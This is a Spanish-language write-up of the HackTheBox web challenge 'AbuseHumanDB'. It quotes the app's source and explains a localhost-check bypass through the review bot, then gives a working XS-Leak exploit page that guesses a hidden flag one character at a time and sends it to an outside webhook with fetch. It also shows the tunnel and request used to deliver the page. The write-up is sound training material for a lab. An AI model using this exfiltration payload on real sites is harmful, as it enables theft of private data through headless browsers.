Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
HackTheBox/Challenges/Challenge Abusehumandb.md READ_ONLY

Challenge AbuseHumanDB

Este reto consiste en explotar una aplicación web vulnerable a Server-Side Request Forgery (SSRF) y Cross-Site Leak (XS-Leak), y la solución consiste en aprovechar el SSRF para evadir la verificación de localhost y utilizar un payload en HTML para extraer la flag carácter por carácter a través de la falla de XS-Leak.

La revisión inicial del código fuente se centra en el archivo de configuración de la base de datos, donde se encuentra una entrada de prueba que contiene una flag falsa configurada con un estado no aprobado. Además, se observa que la función encargada de listar entradas únicamente retorna aquellas marcadas como aprobadas.

$ cat challenge/database.js
const sqlite = require('sqlite-async');

class Database {
    constructor(db_file) {
        this.db_file = db_file;
        this.db = undefined;
    }

    async connect() {
        this.db = await sqlite.open(this.db_file);
    }

    async migrate() {
        return this.db.exec(`
            PRAGMA case_sensitive_like=ON;

            DROP TABLE IF EXISTS userEntries;

            CREATE TABLE IF NOT EXISTS userEntries (
                id          INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                title       VARCHAR(255) NOT NULL UNIQUE,
                url         VARCHAR(255) NOT NULL,
                approved    BOOLEAN NOT NULL
            );

            INSERT INTO userEntries (title, url, approved) VALUES ("Back The Hox :: Cyber Catastrophe Propaganda CTF against Aliens", "https://ctf.backthehox.ew/ctf/82", 1);
            INSERT INTO userEntries (title, url, approved) VALUES ("Drunk Alien Song | Patlamaya Devam (official video)", "https://www.youtune.com/watch?v=jPPT7TcFmAk", 1);
            INSERT INTO userEntries (title, url, approved) VALUES ("Mars Attacks! Earth is invaded by Martians with unbeatable weapons and a cruel sense of humor.", "https://www.imbd.com/title/tt0116996/", 1);
            INSERT INTO userEntries (title, url, approved) VALUES ("Professor Steven Rolling fears aliens could ‘plunder, conquer and colonise’ Earth if we contact them", "https://www.thebun.co.uk/tech/4119382/professor-steven-rolling-fears-aliens-could-plunder-conquer-and-colonise-earth-if-we-contact-them/", 1);
            INSERT INTO userEntries (title, url, approved) VALUES ("HTB{f4k3_fl4g_f0r_t3st1ng}","https://app.backthehox.ew/users/107", 0);
        `);
    }

    async listEntries(approved=1) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE approved = ?");
                resolve(await stmt.all(approved));
            } catch(e) {
                console.log(e);
                reject(e);
            }
        });
    }

    async getEntry(query, approved=1) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE title LIKE ? AND approved = ?");
                resolve(await stmt.all(query, approved));
            } catch(e) {
                console.log(e);
                reject(e);
            }
        });
    }

}

module.exports = Database;

Al examinar el archivo package.json, se revela que el backend utiliza Express, SQLite y Puppeteer. La presencia de Puppeteer indica que un bot visita los enlaces proporcionados por el usuario, lo que sugiere que el challenge podría involucrar una vulnerabilidad SSRF para interactuar con servicios internos.

$ cat challenge/package.json
{
  "name": "web_abusehumandb",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "keywords": [],
  "authors": [
    "itsahobby",
    "rayhan0x01",
    "makelaris jr.",
    "makelaris"
  ],
  "license": "ISC",
  "dependencies": {
    "express": "^4.17.1",
    "puppeteer": "^10.4.0",
    "sqlite-async": "1.1.3"
  },
  "devDependencies": {
    "nodemon": "^1.19.1"
  }
}

Un análisis más profundo del archivo index.js, donde se ubica el enrutamiento principal de la aplicación, revela la lógica central. La función isLocalhost verifica la dirección IP de origen y las cabeceras del host. Si la petición proviene de la dirección interna 127.0.0.1, la verificación retorna 0, lo que se asigna a las entradas no aprobadas en la base de datos. Por otro lado, el endpoint /api/entries/search permite realizar búsquedas utilizando una consulta SQL LIKE.

Una vulnerabilidad SSRF representa un camino para evadir este mecanismo de verificación de localhost, permitiendo el acceso a registros no aprobados que contienen la flag. Dada la posibilidad de buscar en las entradas de la base de datos y observando el comportamiento del bot, es factible elaborar un ataque de tipo XS-Leak para extraer la flag de forma exfiltrada.

$ cat challenge/routes/index.js
const bot             = require('../bot');
const path            = require('path');
const express         = require('express');
const router          = express.Router();

const response = data => ({ message: data });
const isLocalhost = req => ((req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') ? 0 : 1);
let db;

router.get('/', (req, res) => {
  return res.sendFile(path.resolve('views/index.html'));
});

router.get('/entries', (req, res) => {
  return res.sendFile(path.resolve('views/entries.html'));
});

router.get('/api/entries', (req, res) => {
  return db.listEntries(isLocalhost(req))
    .then(entries => {
      res.json(entries);
    })
    .catch(() => res.send(response('Something went wrong!')));
});

router.post('/api/entries', (req, res) => {
  const { url } = req.body;
  if (url) {
    uregex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
    if (url.match(uregex)) {
      return bot.visitPage(url)
        .then(() => res.send(response('Your submission is now pending review!')))
        .catch(() => res.send(response('Something went wrong! Please try again!')))
    }
    return res.status(403).json(response('Please submit a valid URL!'));
  }
  return res.status(403).json(response('Missing required parameters!'));
});

router.get('/api/entries/search', (req, res) => {
  if(req.query.q) {
    const query = `${req.query.q}%`;
    return db.getEntry(query, isLocalhost(req))
      .then(entries => {
        if(entries.length == 0) return res.status(404).send(response('Your search did not yield any results!'));
        res.json(entries);
      })
      .catch(() => res.send(response('Something went wrong! Please try again!')));
  }
  return res.status(403).json(response('Missing required parameters!'));
});

module.exports = database => {
  db = database;
  return router;
};

Para llevar a cabo el ataque XS-Leak, se configura un webhook utilizando un servicio como Beeceptor con la finalidad de recibir los datos extraídos.

https://xs-leak-extraction.free.beeceptor.com

Posteriormente, se prepara un payload en HTML que contiene una rutina en JavaScript. El script itera a través de un conjunto completo de caracteres y obliga al bot a realizar peticiones internas al endpoint de búsqueda. Este evalúa si un carácter adivinado produce un evento de carga exitosa (lo que indica un carácter correcto) o un error (indicando que es incorrecto), reconstruyendo progresivamente la flag.

$ cat exploit.html

<!DOCTYPE html>
<html>
<body>
<script>
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@!_{}";
const webhook = "https://xs-leak-extraction.free.beeceptor.com";

function test(prefix, char) {
  return new Promise(resolve => {
    const script = document.createElement("script");

    script.src =
      "http://127.0.0.1:1337/api/entries/search?q=" +
      encodeURIComponent(prefix + char);

    script.onload = () => {
      script.remove();
      resolve(char);
    };

    script.onerror = () => {
      script.remove();
      resolve(null);
    };

    document.body.append(script);
  });
}

async function nextChar(prefix) {
  let i = 0;
  let active = 0;
  let found = null;

  return new Promise(resolve => {
    const next = () => {
      if (found || i >= chars.length) {
        if (!active) resolve(found);
        return;
      }

      active++;

      test(prefix, chars[i++]).then(char => {
        active--;

        if (char && !found) found = char;

        if (found) {
          if (!active) resolve(found);
        } else {
          next();
        }
      });
    };

    next();
    next();
  });
}

async function leak(flag) {
  if (flag.endsWith("}"))
    return fetch(webhook + "?flag=" + flag);

  const char = await nextChar(flag);

  if (char)
    return leak(flag + char);

  fetch(webhook + "?stuck=" + encodeURIComponent(flag));
}

leak("HTB{");
</script>
</body>
</html>

El payload es alojado localmente usando un servidor HTTP de Python.

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Para hacer que el servidor sea alcanzable por el bot de la aplicación, se establece un túnel de Cloudflare.

$ cloudflared tunnel --url http://127.0.0.1:80
2026-07-17T16:21:32Z INF Thank you for trying Cloudflare Tunnel. Doing so, without a Cloudflare account, is a quick way to experiment and try it out. However, be aware that these account-less Tunnels have no uptime guarantee, are subject to the Cloudflare Online Services Terms of Use (https://www.cloudflare.com/website-terms/), and Cloudflare reserves the right to investigate your use of Tunnels for violations of such terms. If you intend to use Tunnels in production you should use a pre-created named tunnel by following: https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
2026-07-17T16:21:32Z INF Requesting new quick Tunnel on trycloudflare.com...
2026-07-17T16:21:36Z INF +--------------------------------------------------------------------------------------------+
2026-07-17T16:21:36Z INF |  Your quick Tunnel has been created! Visit it at (it may take some time to be reachable):  |
2026-07-17T16:21:36Z INF |  https://amazing-lovers-sounds-gay.trycloudflare.com                                       |
2026-07-17T16:21:36Z INF +--------------------------------------------------------------------------------------------+
...

Con la infraestructura lista, se envía una petición HTTP POST al endpoint /api/entries, instruyendo al bot para que visite la URL proporcionada a través del túnel.

POST /api/entries HTTP/1.1
Host: 154.57.164.78:31154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.78:31154/
Content-Type: application/json
Content-Length: 82
Origin: http://154.57.164.78:31154
Sec-GPC: 1
Connection: keep-alive
Priority: u=0

{"url":"https://amazing-lovers-sounds-gay.trycloudflare.com/exploit.html"}

El servidor responde confirmando que el envío está pendiente de revisión.

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 52
Date: Fri, 17 Jul 2026 16:22:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "message": "Your submission is now pending review!"
}

El script se ejecuta satisfactoriamente dentro del contexto del navegador interno, logrando extraer el secreto y retransmitiéndolo de vuelta al webhook configurado, revelando así la flag.

/?flag=HTB{FLAG}